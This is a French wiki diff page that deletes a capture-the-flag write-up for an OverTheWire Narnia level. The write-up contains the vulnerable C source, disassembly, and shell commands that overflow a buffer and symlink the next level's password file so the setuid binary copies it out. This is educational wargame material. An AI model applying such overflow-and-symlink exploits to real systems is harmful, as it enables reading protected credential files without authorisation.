Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
overthewire_narnia:level3_-_memory_corruption [2013/01/05 14:15] Pheimors créée |
— (Version actuelle) | ||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| - | ====== Narnia level 2 - Buffer overflow ====== | ||
| - | <code c> | ||
| - | /* | ||
| - | This program is free software; you can redistribute it and/or modify | ||
| - | it under the terms of the GNU General Public License as published by | ||
| - | the Free Software Foundation; either version 2 of the License, or | ||
| - | (at your option) any later version. | ||
| - | |||
| - | This program is distributed in the hope that it will be useful, | ||
| - | but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
| - | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
| - | GNU General Public License for more details. | ||
| - | |||
| - | You should have received a copy of the GNU General Public License | ||
| - | along with this program; if not, write to the Free Software | ||
| - | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA | ||
| - | */ | ||
| - | #include <stdio.h> | ||
| - | #include <sys/types.h> | ||
| - | #include <sys/stat.h> | ||
| - | #include <fcntl.h> | ||
| - | #include <unistd.h> | ||
| - | #include <stdlib.h> | ||
| - | #include <string.h> | ||
| - | |||
| - | int main(int argc, char **argv){ | ||
| - | |||
| - | int ifd, ofd; | ||
| - | char ofile[16] = "/dev/null"; | ||
| - | char ifile[32]; | ||
| - | char buf[32]; | ||
| - | |||
| - | if(argc != 2){ | ||
| - | printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]); | ||
| - | exit(-1); | ||
| - | } | ||
| - | |||
| - | /* open files */ | ||
| - | strcpy(ifile, argv[1]); | ||
| - | if((ofd = open(ofile,O_RDWR)) < 0 ){ | ||
| - | printf("error opening %s\n", ofile); | ||
| - | exit(-1); | ||
| - | } | ||
| - | if((ifd = open(ifile, O_RDONLY)) < 0 ){ | ||
| - | printf("error opening %s\n", ifile); | ||
| - | exit(-1); | ||
| - | } | ||
| - | |||
| - | /* copy from file1 to file2 */ | ||
| - | read(ifd, buf, sizeof(buf)-1); | ||
| - | write(ofd,buf, sizeof(buf)-1); | ||
| - | printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile); | ||
| - | |||
| - | /* close 'em */ | ||
| - | close(ifd); | ||
| - | close(ofd); | ||
| - | |||
| - | exit(1); | ||
| - | } | ||
| - | </code> | ||
| - | |||
| - | L'idée pour réussir ce challenge est de réussir à modifier le /dev/null en buffer overflowant la variable ifile. | ||
| - | <code> | ||
| - | $ objdump /narnia/narnia3 | ||
| - | ... | ||
| - | 080484b4 <main>: | ||
| - | 80484b4: 55 push %ebp | ||
| - | 80484b5: 89 e5 mov %esp,%ebp | ||
| - | 80484b7: 83 e4 f0 and $0xfffffff0,%esp | ||
| - | 80484ba: 83 ec 70 sub $0x70,%esp | ||
| - | 80484bd: c7 44 24 58 2f 64 65 movl $0x7665642f,0x58(%esp) ; ofile | ||
| - | 80484c4: 76 | ||
| - | 80484c5: c7 44 24 5c 2f 6e 75 movl $0x6c756e2f,0x5c(%esp) ; ofile | ||
| - | 80484cc: 6c | ||
| - | 80484cd: c7 44 24 60 6c 00 00 movl $0x6c,0x60(%esp) ; ofile | ||
| - | 80484d4: 00 | ||
| - | 80484d5: c7 44 24 64 00 00 00 movl $0x0,0x64(%esp) ; ofile | ||
| - | 80484dc: 00 | ||
| - | 80484dd: 83 7d 08 02 cmpl $0x2,0x8(%ebp) | ||
| - | 80484e1: 74 22 je 8048505 <main+0x51> | ||
| - | 80484e3: 8b 45 0c mov 0xc(%ebp),%eax | ||
| - | 80484e6: 8b 10 mov (%eax),%edx | ||
| - | 80484e8: b8 e0 86 04 08 mov $0x80486e0,%eax | ||
| - | 80484ed: 89 54 24 04 mov %edx,0x4(%esp) | ||
| - | 80484f1: 89 04 24 mov %eax,(%esp) | ||
| - | 80484f4: e8 d7 fe ff ff call 80483d0 <printf@plt> | ||
| - | 80484f9: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) | ||
| - | 8048500: e8 eb fe ff ff call 80483f0 <exit@plt> | ||
| - | 8048505: 8b 45 0c mov 0xc(%ebp),%eax | ||
| - | 8048508: 83 c0 04 add $0x4,%eax | ||
| - | 804850b: 8b 00 mov (%eax),%eax | ||
| - | 804850d: 89 44 24 04 mov %eax,0x4(%esp) | ||
| - | 8048511: 8d 44 24 38 lea 0x38(%esp),%eax ; ifile | ||
| - | 8048515: 89 04 24 mov %eax,(%esp) | ||
| - | 8048518: e8 a3 fe ff ff call 80483c0 <strcpy@plt> | ||
| - | 804851d: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp) | ||
| - | ... | ||
| - | </code> | ||
| - | On a tout ce qu'on veut ici. On sait que ofile se situe sur les addresses 0x58(%esp) à 0x64(%esp). | ||
| - | On sait aussi que ifile commence à 0x38(%esp). | ||
| - | Donc, on commencera à réécrire ofile lorsque ifile aura une longueur supérieur à 0x58 - 0x38 = 32 caractères. | ||
| - | |||
| - | On va donc pouvoir faire en sorte d'avoir: | ||
| - | <code> | ||
| - | ifile : /tmp/flubb/aaaaaaaaaaaaaaaaaaaaa/tmp/flubb/out | ||
| - | ofile : /tmp/flubb/out | ||
| - | </code> | ||
| - | |||
| - | <code> | ||
| - | $ mkdir -p `python -c 'print "/tmp/flubb" + "a"*21 + "/tmp/flubb/"` | ||
| - | $ ln -s /etc/narnia_pass/narnia4 `python -c 'print "/tmp/flubb" + "a"*21 + "/tmp/flubb/out"` | ||
| - | $ touch /tmp/flubb/out && chmod 777 /tmp/flubb/out | ||
| - | $ /narnia/narnia3 `python -c 'print "/tmp/flubb" + "a"*21 + "/tmp/flubb/out"` | ||
| - | copied contents of /tmp/flubb/aaaaaaaaaaaaaaaaaaaaa/tmp/flubb/out to a safer place... (/tmp/flubb/out) | ||
| - | $ cat /tmp/flubb/out | ||
| - | fuck yeah ! | ||
| - | </code> | ||